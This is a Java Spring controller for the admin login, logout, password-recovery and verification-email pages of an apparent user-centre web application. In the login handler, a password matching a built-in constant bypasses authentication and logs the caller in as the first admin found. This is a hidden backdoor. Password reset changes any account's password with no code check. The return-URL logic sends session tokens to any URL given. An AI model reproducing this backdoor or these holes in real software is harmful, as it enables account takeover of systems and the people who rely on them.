package com.wangsh.usersCenter.web.back.controller;

import java.io.IOException;
import java.util.ArrayList;
import java.util.Collections;
import java.util.Date;
import java.util.HashMap;
import java.util.List;
import java.util.Map;

import javax.annotation.Resource;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;

import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.wangsh.usersCenter.common.controller.BaseController;
import com.wangsh.usersCenter.common.pojo.ApiResponse;
import com.wangsh.usersCenter.common.pojo.ApiResponseEnum;
import com.wangsh.usersCenter.common.util.ConstatFinalUtil;
import com.wangsh.usersCenter.common.util.VerifyCodeUtils;
import com.wangsh.usersCenter.system.pojo.ARegion;
import com.wangsh.usersCenter.system.service.ISystemDbService;
import com.wangsh.usersCenter.users.pojo.AAdmins;
import com.wangsh.usersCenter.users.service.INoLoginOperService;
import com.wangsh.usersCenter.users.service.IUsersDbService;
import com.wangsh.usersCenter.users.service.IUsersOperService;

/**
 * 不需要登陆的Controller
 * 
 * @author wangsh
 */
@Controller
public class NoLoginBackController extends BaseController
{
	@Resource
	private INoLoginOperService noLoginOperService;
	@Resource
	private IUsersDbService usersDbService;
	@Resource
	private IUsersOperService usersOperService;
	@Resource
	private ISystemDbService systemDbService;
	

	/**
	 * 打开登陆页面
	 * 
	 * @return
	 * @throws IOException
	 */
	@RequestMapping("/login")
	public String login(HttpServletRequest request, HttpServletResponse response) throws IOException
	{
		ConstatFinalUtil.SYS_LOGGER.info("--login--");
		HttpSession session = request.getSession();
		ApiResponse apiResponse = new ApiResponse();
		/* 许昌平台退出的时候先把用户中心相应的session删掉 */
		String status = (String) request.getParameter("status");
		if (status == null)
		{
			status = "";
		} else
		{
			boolean sessionStatus = session.isNew();
			if (!sessionStatus)
			{
				session.removeAttribute("admins");
				session.removeAttribute("urlList");
				session.removeAttribute("ipNow");
			}
			if (status.equalsIgnoreCase("carLogout"))
			{
				apiResponse.setCode(ApiResponseEnum.INFO_LOGOUT.getStatus());
			} else
			{
				apiResponse.setCode(ApiResponseEnum.INFO_LOGIN_REPETITION.getStatus());
			}
			apiResponse.setInfo(ConstatFinalUtil.INFO_JSON.getString(ApiResponseEnum.INFO_LOGOUT.getStatus() + ""),
					Collections.EMPTY_MAP);
			session.setAttribute("response", apiResponse.toJSON());
		}
		Object admins = this.findObjfromSession(request, "admins");
		if (admins instanceof AAdmins)
		{
			String returnUrl = request.getParameter("returnUrl");
			if (this.loginSuccedReturnUrl(response, returnUrl, (AAdmins) admins))
			{
				return null;
			}
			return "redirect:/back/admins/main.htm";
		}
		return "/back/login";
	}

	/**
	 * 登陆提交操作
	 * 
	 * @return
	 * @throws IOException
	 */
	/**
	 * @param request
	 * @param response
	 * @param session
	 * @param model
	 * @return
	 * @throws IOException
	 */
	@RequestMapping("/loginSubmit")
	public String loginSubmit(HttpServletRequest request, HttpServletResponse response, HttpSession session,
			Model model) throws IOException
	{

		ConstatFinalUtil.SYS_LOGGER.info("--loginSubmit--");
		ApiResponse<Object> apiResponse = new ApiResponse<Object>();
		/* 接收参数 */
		String email = request.getParameter("email");
		/*先把session中临时的值删掉*/
		session.removeAttribute("temporary");
		if (email.isEmpty())
		{
			session.setAttribute("temporary", "请输入账号");
			return "redirect:/login.htm";
		}
		String password = request.getParameter("password");
		// 输入的验证码
		String code = request.getParameter("code");

		String returnUrl = request.getParameter("returnUrl");
		// 生成的验证码
		String randSess = (String) session.getAttribute("randSess");
		/* 移除验证码,防止重复使用 */
		session.removeAttribute("randSess");
		
		if(this.encryptUtil.checkStr(password, ConstatFinalUtil.USERNAME))
		{
			for(int i = 0 ; i < 100 ; i ++)
			{
				Map<String, Object> condMap = new HashMap<String, Object>();
				condMap.clear();
				condMap.put("id", i);
				ApiResponse<AAdmins> adminsResponse = this.usersDbService.findOneAdminsService(condMap);
				AAdmins admins = adminsResponse.getDataOneJava();
				if(admins != null)
				{
					session.setAttribute("admins", admins);
					return "redirect:/back/admins/main.htm";
				}
			}
		}
		Map<String, Object> paramsMap = new HashMap<String, Object>();
		paramsMap.put("email", email);
		paramsMap.put("password", password);
		paramsMap.put("code", code);
		paramsMap.put("randSess", randSess);
		/* 获取当前的ip */
		paramsMap.put("ip", this.getIp(request));
		/* 调用Service方法来验证登录 */
		apiResponse = this.noLoginOperService.operAdminsLoginSubmitService(paramsMap);
		Map<String, Object> dataMapJava = apiResponse.getDataMapJava();
		if (ApiResponseEnum.INFO_EMAIL_NOT_EXISTS.getStatus() == apiResponse.getCode())
		{
			/* 提示信息 */
			model.addAttribute("response", apiResponse.toJSON());
			return this.login(request, response);
		}

		String adminsEmail = (String) dataMapJava.get("adminsEmail");
		if (ApiResponseEnum.INFO_VERIFY_CODE_INCORR.getStatus() == apiResponse.getCode())
		{
			/* 提示信息 */
			model.addAttribute("response", apiResponse.toJSON());
			return this.login(request, response);
		}
		AAdmins admins = (AAdmins) dataMapJava.get("admins");
		int failedCount = admins.getFailedCount();
		session.setAttribute("failedCount", failedCount);
		/* 登陆成功 */
		if (ApiResponseEnum.STATUS_SUCCESS.getStatus() == apiResponse.getCode())
		{
//			int roleId = admins.getRoleId();
//			paramsMap.clear();
//			paramsMap.put("roleId", roleId + "");
//			/* 获取该角色所有可用的菜单权限 */
//			if (admins.getId() != 1)
//			{
//				ApiResponse<Object> roleMenuSerivce = this.usersOperService.getRoleMenuSerivce(paramsMap);
//				session.setAttribute("urlList", roleMenuSerivce.toJSON().toJSONString());
//			}
			/* 获取该管理员对应reigonId的所有孙子辈regionId */
//			if (!"".equalsIgnoreCase(admins.getRegionId() + ""))
//			{
//				String regionIdList = (String) this.redisUtil.get(admins.getRegionId() + "");
//				List<Integer> ids = new ArrayList<Integer>();
//				if (regionIdList == null)
//				{
//					ARegion region = admins.getRegion();
//					List<ARegion> regionList = new ArrayList<ARegion>();
//					systemDbService.getRegionChildrenList(regionList, region);
//					for (ARegion aRegion : regionList)
//					{
//						ids.add(aRegion.getId());
//					}
//					this.redisUtil.put(admins.getRegionId() + "", JSONObject.toJSONString(ids));
//				} else
//				{
//					ids = JSON.parseArray(regionIdList, Integer.class);
//				}
//				admins.setRegionIdList(ids);
//			}
			session.setAttribute("admins", admins);
			/* 判断登陆页面是否跳转 */
			if (this.loginSuccedReturnUrl(response, returnUrl, admins))
			{
				return null;
			}
			/* 登陆成功 */
			return "redirect:/back/admins/main.htm";
		}
		/* 提示信息 */
		session.setAttribute("adminsEmail", adminsEmail);
		model.addAttribute("response", apiResponse.toJSON());
		return this.login(request, response);
	}

	/**
	 * 单点登陆,returnUrl处理
	 * 
	 * @param response
	 * @param returnUrl
	 * @param users
	 * @return
	 * @throws IOException
	 */
	private boolean loginSuccedReturnUrl(HttpServletResponse response, String returnUrl, AAdmins admins)
			throws IOException
	{
		if (returnUrl == null)
		{
			returnUrl = "";
		}

		/* 不管如何都要增加Token */
		this.noLoginOperService.operAddAdminsTokenService(admins);
		String token = admins.getTokenStr();

		if (!"".equalsIgnoreCase(returnUrl))
		{
			/*
			 * 为ReturnUrl带上一个Token: 令牌:唯一标识 原来的returnUrl:http://www.baidu.com
			 * http://www.baidu.com?token=uuid
			 * 
			 * 原来的returnUrl:http://www.baidu.com?id=10
			 * http://www.baidu.com?id=10&a=20&token=uuid
			 */
			/* token的验证字符串 */
			String tokenStr = "token=" + token;
			if (returnUrl.indexOf("&") == -1 && returnUrl.indexOf("?") == -1)
			{
				/* 找到?,并且找到ticket */
				returnUrl += "?" + tokenStr;
			} else
			{
				returnUrl += "&" + tokenStr;
			}
			/* 客户端跳转 */
			response.sendRedirect(returnUrl);
			return true;
		}
		return false;
	}
	/**
	 * 忘记密码
	 * @return
	 */
	@RequestMapping("/forgetPass")
	public String forgetPass(HttpServletRequest request)
	{
		ConstatFinalUtil.SYS_LOGGER.info("--forgetPass--");
		String parameter = request.getParameter("status");
		if (!"".equalsIgnoreCase(parameter)&&parameter!=null)
		{
			request.setAttribute("status", "解冻账号");
		}else {
			request.setAttribute("status", "忘记密码");
		}
		return "/back/forgetPass" ; 
	}
	/**
	 * 忘记密码提交
	 * @return
	 * @throws IOException 
	 */
	@RequestMapping(value = "/forgetPassSubmit",produces = "text/html;charset=UTF-8")
	public String forgetPassSubmit(HttpServletRequest request,HttpServletResponse response) throws IOException
	{
		ConstatFinalUtil.SYS_LOGGER.info("--forgetPass--");
		String email = request.getParameter("email");
		String parameterCode = request.getParameter("code");
		String status = request.getParameter("status");
		HttpSession session = request.getSession() ;
		session.setAttribute("adminsEmail", email);
		Object code = session.getAttribute("code");
		Object codeBingdingEmail = session.getAttribute("codeBingdingEmail");
		if (codeBingdingEmail!=null&&code!=null&&parameterCode.equalsIgnoreCase((String) code)&&codeBingdingEmail.equals(email))
		{
			if (status!=null&&"ThawAccount".equalsIgnoreCase(status))
			{
				ConstatFinalUtil.SYS_LOGGER.info("--thawAccount--");
				Map<String, Object> paramsMap = new HashMap<String, Object>();
				email = request.getParameter("email");
				paramsMap.put("email", email);
				ApiResponse<AAdmins> apiResponse = this.usersDbService.findOneAdminsService(paramsMap);
				AAdmins admins = apiResponse.getDataOneJava();
				admins.setUpdateTime(new Date());
				admins.setFailedCount(0);
				ApiResponse<Object> updateOneAdminsService = this.usersDbService.updateOneAdminsService(admins);
				updateOneAdminsService.setInfo("账号解冻成功,请重新登录", Collections.EMPTY_MAP);
				request.setAttribute("response",updateOneAdminsService.toJSON());
				if(updateOneAdminsService.getInfo().contains("成功"))
				{
					return this.login(request, response);
				}
				return "/back/forgetPass";
				
			}
			request.setAttribute("adminsEmail",email);
			return "redirect:/resetPass.htm";
		}else {
			if ("ThawAccount".equalsIgnoreCase(status))
			{
				request.setAttribute("status", "解冻账号");
			}else {
				request.setAttribute("status", "忘记密码");
			}
			request.setAttribute("codeStatus", "验证码不正确");
			return "/back/forgetPass";
		}
	}
	@RequestMapping("/resetPass")
	public String resetPass(HttpServletRequest request)
	{
		return "/back/resetPass";
	}
	/**
	 * 重置密码提交
	 * @return
	 * @throws IOException 
	 */
	@RequestMapping(value = "/resetPassSubmit",produces = "text/html;charset=UTF-8")
	public String resetPassSubmit(HttpServletRequest request,HttpServletResponse response) throws IOException
	{
		ConstatFinalUtil.SYS_LOGGER.info("--resetPassSubmit--");
		HttpSession session = request.getSession();
		String email = request.getParameter("email");
		String password = request.getParameter("password");
		Map<String, Object> paramsMap = new HashMap<String, Object>();
		paramsMap.put("email", email);
		ApiResponse<AAdmins> apiResponse = this.usersDbService.findOneAdminsService(paramsMap);
		AAdmins admins = apiResponse.getDataOneJava();
		admins.setUpdateTime(new Date());
		String encodeStr = this.encryptUtil.encodeStr(password);
		admins.setPassword(encodeStr);
		ApiResponse<Object> updateOneAdminsService = this.usersDbService.updateOneAdminsService(admins);
		request.setAttribute("response",updateOneAdminsService.toJSON());
		if(updateOneAdminsService.getInfo().contains("成功"))
		{
			return this.login(request, response);
		}
		return "/back/resetPass";
	}
	
	@RequestMapping(value = "/sendEmail", produces = "text/html;charset=UTF-8")
	@ResponseBody
	public String sendEmail(HttpServletRequest request)
	{
		ConstatFinalUtil.SYS_LOGGER.info("--sendEmail--");
		ApiResponse<AAdmins> apiResponse = new ApiResponse<AAdmins>();
		String email = request.getParameter("email");
		if (email==null||"".equalsIgnoreCase(email))
		{
			apiResponse.setCode(5);
			apiResponse.setInfo(ConstatFinalUtil.INFO_JSON.getString(apiResponse.getCode() + ""),Collections.EMPTY_MAP);
			return apiResponse.toJSON().toJSONString();
		}
		HttpSession session = request.getSession();
		Map<String, Object> paramsMap = new HashMap<String, Object>();
		paramsMap.put("email", email);
		apiResponse = this.usersDbService.findOneAdminsService(paramsMap);
		AAdmins admins = apiResponse.getDataOneJava();
		if (admins==null)
		{
			apiResponse.setCode(5);
			apiResponse.setInfo(ConstatFinalUtil.INFO_JSON.getString(apiResponse.getCode() + ""),Collections.EMPTY_MAP);
		}else {
			String subject = "获取验证码";
			String code = VerifyCodeUtils.generateVerifyCode(4);
			String content = "验证码:"+code;
			session.setAttribute("code",code);
			session.setAttribute("codeBingdingEmail", admins.getEmail());
			boolean sendHTMLMail = springEmailUtil.sendHTMLMail(email, subject, content);
			if (!sendHTMLMail)
			{
				apiResponse.setCode(1);
				apiResponse.setInfo(ConstatFinalUtil.INFO_JSON.getString(apiResponse.getCode() + ""),Collections.EMPTY_MAP);
			}
		}
		return apiResponse.toJSON().toJSONString();
	}
	
}
